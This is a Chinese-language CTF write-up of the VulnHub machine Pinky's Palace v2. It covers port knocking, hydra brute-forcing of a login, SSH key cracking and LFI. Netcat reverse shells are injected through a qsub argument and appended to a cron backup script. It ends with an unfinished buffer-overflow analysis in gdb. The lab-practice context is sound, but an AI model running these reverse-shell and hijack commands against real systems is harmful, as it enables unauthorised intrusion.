靶机地址：https://www.vulnhub.com/entry/pinkys-palace-v2,229/

靶机难度：中级（CTF）

靶机发布日期：2018年3月18日

靶机描述：一个现实的Boot2Root。获得对系统的访问权限并阅读/root/root.txt

Wordpress将无法正确呈现。您将需要使用控制台上显示的IP更改主机文件：echo 192.168.x.x pinkydb | sudo tee -a /etc/hosts

进入难度：容易/中级

扎根困难：中级/困难

目标：得到root权限&找到flag.txt

作者：DXR嗯嗯呐

信息收集

nmap扫描IP

根据提示先设置kail上hosts文件

echo 192.168.16.147 pinkydb | sudo tee -a /etc/hosts

nmap扫描端口

80 http WordPress 4.9.4

4655 关闭

7654 关闭

31337 关闭

访问80端口

看着像一下wordpress框架，使用wpscan枚举一下用户

wpscan --url http://pinkydb/--enumerate u --api-token 'API'

发现pinky1337用户，记录一下

直接dirb爆破目录

分别访问目录在http://pinkydb/secret/发现bambam文件

看着像是一个端口试探，使用knock测试一下

端口没有变化，使用python,根据上述的3个数字列出全部的排列组合，因为不知道其是根据哪个顺序来判断的

from itertools import combinations, permutations

print(list(permutations([8890,7000,666])))

使用脚本将排列组合，knock测试

#!/bin/bash

while read -r line

do

echo '---------------'

knock -v 192.168.16.147 $line

done < /tmp/knock.txt

nmap扫描端口，发现端口都处于open状态了

4655  ssh

7654 http nginx

31337  ??

ssh端口没有密码

7654端口可以访问（需要加上域名）

Sqlmap没有跑出来漏洞，本来想使用rockyou.txt字典跑一下，看了看算了吧太慢了，先用cewl  生成一个字典试试

cewl http://pinkydb/-w /tmp/cs.txt

使用hydra对admin、pinkydb、pinky1337用户用cewl生成的字典跑一下密码

hydra -L name.txt  -P cs.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"

找到账号密码

pinky\Passione

pinky1337\Pinky

提权

登陆pinky用户，获得stefano用户的秘钥

将文件下载，使用秘钥登陆，发现秘钥需要密码

• 这是我们首先使用ssh2john将将密钥转换为可破解的哈希，使用John the Ripper破解这个哈希值，这样就可以破解私有ssh密钥的密码

• ssh2john可以转化ssh私钥为john可以破解的格式.但是最新的JTR上没有发现ssh2john,一下是github:

• https://github.com/magnumripper/JohnTheRipper

• run目录下有ssh2john.py

换为可破解的哈希

ython ssh2john.py  id_rsa > id_rsa.txt

john破解ssh秘钥的密码

john -w=/usr/share/wordlists/rockyou.txt id_rsa.txt

获得密码：secretz101

ssh登陆成功

在tools目录下获得提示：Pinky给我做了这个程序，所以我可以很容易地给他发信息。

我们看一下qsub小程序，只有执行没有读写权限

看到程序的所属组为www-data，看来还是和网站有关系，在刚刚登陆的界面中，发现存在远程文件包含漏洞

http://pinkydb:7654/pageegap.php?1337=../../../../../../../../etc/passwd

这样的话看看可以读到qsub程序不

发现了TERM环境变量

xterm 是图形界面baivirtual terminal

virtual terminal ,是一个协议,一个接bai口,用于在各种连接du环境中提zhi供如同本机控制台dao一样的界面，文字操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入，向操作系统解释你的输入，并且处理各种各样的操作系统的输出结果。

直接想程序输入一个反弹shell，测试一下

./qsub '$(nc -e /bin/bash 192.168.16.143 6666)'

获得pinky权限

去/home/pinky/messages/目录看一下stefano_msg.txt文件

这就是执行qsub程序添加的参数

查询关于备份访问的目录和文件看一下，在/usr/local/bin目录下发现一个sh文件

查看文件所属组pinky，需要newgrp命令切换当前用户组，在查看文件

查看发现这是一个备份的脚本，删除压缩包，在将html目标压缩备份

直接将反弹shell接入文件，在靶机执行备份的时候，就可以获得demon用户的shell

echo 'nc -e /bin/bash 192.168.16.143 7777' >> /usr/local/bin/backup.sh

cat /usr/local/bin/backup.sh

(一步小心吧源文件的内容覆盖了。。。。。）

等待一会，因为这备份脚本一般都是定时执行的，获得demn用户shell

命令crontab -l 我们看到demon用户5分钟只用一个backup.sh脚本

经过排查，发现root用户启动了一个拥有者为demon用户的程序

ps uax

find / -name 'panel' 2>/dev/null

使用nc将文件传输到kail上测试

kail执行命令：nc -lvp 4666 > panel

靶机执行命令：nc 192.168.16.143 4666 < panel

赋执行权限

gdb调试程序，info functions查看函数，发现程序使用了strcpy函数

运行程序，看到显示：从子进程13940中分离fork之后的进程。在本机发现程序对应的31337端口，看来靶机上启动的31337端口应该就是这个程序。

连接kail上的31337端口，输入1024个字符，看看有没有溢出报错

根据上图我们看到每次nc连接输入后，程序会再次创建一个子进程，也因为gdb调试时，默认跟踪父进程，所有我们看不到子进程的具体内容。

首先我们需要让gdb跟踪子进程，再将父进程设置为暂停状态。

set follow-fork-mode child

set detach-on-fork off

使用gdb调试的时候，gdb只能跟踪一个进程。可以在fork函数调用之前，通过指令设置gdb调试工具跟踪父进程或子进程。默认情况下gdb是跟踪父进程的。

• show follow-fork-mode : 查看目前的跟踪模式。

• set follow-fork-mode child : 命令设置gdb在fork之后跟踪子进程。

• set follow-fork-mode parent : 设置跟踪父进程。

• show detach-on-fork : 显示了目前是的detach-on-fork模式

• set detach-on-fork on : 只调试父进程或子进程的其中一个(根据follow-fork-mode来决定)，这是默认的模式。

• set detach-on-fork off : 父子进程都在gdb的控制之下，其中一个进程正常调试(根据follow-fork-mode来决定),另一个进程会被设置为暂停状态。

在此执行，我们看到了溢出报错

0x00000000004009aa in handlecmd

看来是handlecmd函数中存放在输入、输入的信息，首先我们找到溢出的位置

echo $(python -c "print 'a' * 113") | nc 192.168.16.143 31337

经过测试发现第113个字符是溢出位置的开始

在测试中发现120个字符处开始，我们测试的字符开始覆盖了内存位置

上图第一个结果为126个字符a时，内存地址未覆盖。

第二个结果为124个字符a时，内存地址中数字61为ASCLL编码的a。

第三个结果为120个字符a时，内存地址未覆盖。

使用 info register查询系统寄存器信息

之后因为这个问题卡了两天了，暂时先放放吧，回头学会了，再来看这个哎。

如果想接着学习可以看看这篇文章，写的很好。https://blog.csdn.net/qq_34801745/article/details/104070421

总结

第一次靶机没有打完，打不下去了，缓冲区溢出的问题我真的太垃圾了。继续加油学习吧！！！